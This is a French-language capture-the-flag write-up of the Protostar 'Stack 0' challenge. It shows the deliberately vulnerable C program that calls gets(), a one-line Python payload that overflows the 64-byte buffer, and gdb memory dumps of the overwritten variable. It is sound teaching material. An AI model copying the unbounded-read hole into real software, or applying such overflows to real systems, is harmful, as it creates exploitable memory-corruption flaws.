Protostar – Stack 0

Bonjour à tous,

Nous allons ici commencer la série de write up sur les challenges de la VM protostar ( Voir ici ).

N’hésitez pas à l’installer sur une machine virtuelle est de tester vous même ces challenges .

Commencons le write up :

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    volatile int modified;
    char buffer[64];

    modified = 0;
    gets(buffer);

    if(modified != 0) {
        printf("you have changed the 'modified' variable\n");
    } else {
        printf("Try again?\n");
    }
}
stack 0

À la vue du code source on comprendsque le but de ce challenge est d’afficher

"you have changed the 'modified' variable"

En modifiant la valeur de la variable modified .

Il faudra donc remplir le buffer de 64 octets puis écraser la valeur de la variable modified.

ceci est possible seulement car modified est déclarée avant le buffer , elle est donc mise dans la pile avant le buffer ce qui permet d’écraser modified en écrivant trop de caractères dans le buffer.

Il suffit donc d’ecrire 64 caracteres pour remplir le buffer et 1 caractere pour modifier la variable modified.

user@protostar:/opt/protostar/bin$ python -c "print('A'*64+'B')"|./stack0
 you have changed the 'modified' variable

Le challenge est réussi , bravo !

Vérifions ce qu’il s’est passé

user@protostar:/opt/protostar/bin$ gdb ./stack0 -q
 Reading symbols from /opt/protostar/bin/stack0...done.
 (gdb) disassemble main
 Dump of assembler code for function main:
 0x080483f4 <main+0>:    push   %ebp
 0x080483f5 <main+1>:    mov    %esp,%ebp
 0x080483f7 <main+3>:    and    $0xfffffff0,%esp
 0x080483fa <main+6>:    sub    $0x60,%esp
 0x080483fd <main+9>:    movl   $0x0,0x5c(%esp)
 0x08048405 <main+17>:    lea    0x1c(%esp),%eax
 0x08048409 <main+21>:    mov    %eax,(%esp)
 0x0804840c <main+24>:    call   0x804830c <gets@plt>
 0x08048411 <main+29>:    mov    0x5c(%esp),%eax
 0x08048415 <main+33>:    test   %eax,%eax
 0x08048417 <main+35>:    je     0x8048427 <main+51>
 0x08048419 <main+37>:    movl   $0x8048500,(%esp)
 0x08048420 <main+44>:    call   0x804832c <puts@plt>
 0x08048425 <main+49>:    jmp    0x8048433 <main+63>
 0x08048427 <main+51>:    movl   $0x8048529,(%esp)
 0x0804842e <main+58>:    call   0x804832c <puts@plt>
 0x08048433 <main+63>:    leave
 0x08048434 <main+64>:    ret
 End of assembler dump.
 (gdb) break *main+33
 Breakpoint 1 at 0x8048415: file stack0/stack0.c, line 13.
 (gdb) run
 Starting program: /opt/protostar/bin/stack0
 AAAAAAAAAAAAAAAAA

Breakpoint 1, 0x08048415 in main (argc=1, argv=0xbffff864)
 at stack0/stack0.c:13
 13    stack0/stack0.c: No such file or directory.
 in stack0/stack0.c
 (gdb) x/36x $esp
 0xbffff750:    0xbffff76c    0x00000001    0xb7fff8f8    0xb7f0186e
 0xbffff760:    0xb7fd7ff4    0xb7ec6165    0xbffff778    0x41414141
 0xbffff770:    0x41414141    0x41414141    0x41414141    0x08040041
 0xbffff780:    0xb7ff1040    0x08049620    0xbffff7b8    0x08048469
 0xbffff790:    0xb7fd8304    0xb7fd7ff4    0x08048450    0xbffff7b8
 0xbffff7a0:    0xb7ec6365    0xb7ff1040    0x0804845b    0x00000000
 0xbffff7b0:    0x08048450    0x00000000    0xbffff838    0xb7eadc76
 0xbffff7c0:    0x00000001    0xbffff864    0xbffff86c    0xb7fe1848
 0xbffff7d0:    0xbffff820    0xffffffff    0xb7ffeff4    0x0804824b

(gdb) p modified
 $1 = 0

On voit donc que la pile se rempli de 0x41 soit ‘A’ mais n’écrase pas encore la valeur de modified qui est a 0x000000 , on le vérifie avec p modified qui nous affiche bien 0.

Maintenant ecrivons sur modified en faisant un buffer overflow :

user@protostar:/opt/protostar/bin$ python -c "print('A'*64+'B')" > /tmp/ex
 user@protostar:/opt/protostar/bin$ gdb -q ./stack0
 Reading symbols from /opt/protostar/bin/stack0...done.
 (gdb) break *main+33
 Breakpoint 1 at 0x8048415: file stack0/stack0.c, line 13.
 (gdb) run < /tmp/ex
 Starting program: /opt/protostar/bin/stack0 < /tmp/ex

Breakpoint 1, 0x08048415 in main (argc=1, argv=0xbffff864)
 at stack0/stack0.c:13
 13    stack0/stack0.c: No such file or directory.
 in stack0/stack0.c
 (gdb) x/36x $esp
 0xbffff750:    0xbffff76c    0x00000001    0xb7fff8f8    0xb7f0186e
 0xbffff760:    0xb7fd7ff4    0xb7ec6165    0xbffff778    0x41414141
 0xbffff770:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff780:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff790:    0x41414141    0x41414141    0x41414141    0x41414141
 0xbffff7a0:    0x41414141    0x41414141    0x41414141    0x00000042
 0xbffff7b0:    0x08048450    0x00000000    0xbffff838    0xb7eadc76
 0xbffff7c0:    0x00000001    0xbffff864    0xbffff86c    0xb7fe1848
 0xbffff7d0:    0xbffff820    0xffffffff    0xb7ffeff4    0x0804824b

On voit donc ici que les 0x41 on rempli le buffer est que 0x42 soit ‘B’ est ecrit dans notre variable modified

Terminons l’exécution :

(gdb) c
 Continuing.
 you have changed the 'modified' variable

 

Voilà mon premier article est terminé , n’hésitez pas à donner votre avis ou proposer des sujets de nouveaux articles .

 

Merci !

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée.